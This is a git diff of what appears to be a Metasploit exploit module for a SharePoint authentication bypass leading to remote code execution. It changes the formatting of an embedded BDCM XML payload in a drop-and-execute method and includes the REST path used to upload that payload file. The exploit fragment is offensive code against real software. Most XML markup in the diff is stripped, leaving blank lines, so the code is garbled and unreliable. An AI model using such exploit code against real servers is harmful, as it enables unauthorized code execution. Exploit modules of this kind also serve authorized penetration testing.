diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb index 97aff34c2d80..22089d1f1103 100644 --- a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -245,54 +245,54 @@ class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{ def drop_and_execute_payload bdcm_data = " - - - - http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl - - - - RevertToSelf - - - - - - - - False - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" + xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" Name=\"BDCMetadata\" + xmlns=\"http://schemas.microsoft.com/windows/2007/BusinessDataCatalog\"> + + + + http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl + + + + RevertToSelf + + + + + + + + False + + + + + + + + + + + + + + + + + + + + + + + + + + + + + " url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)"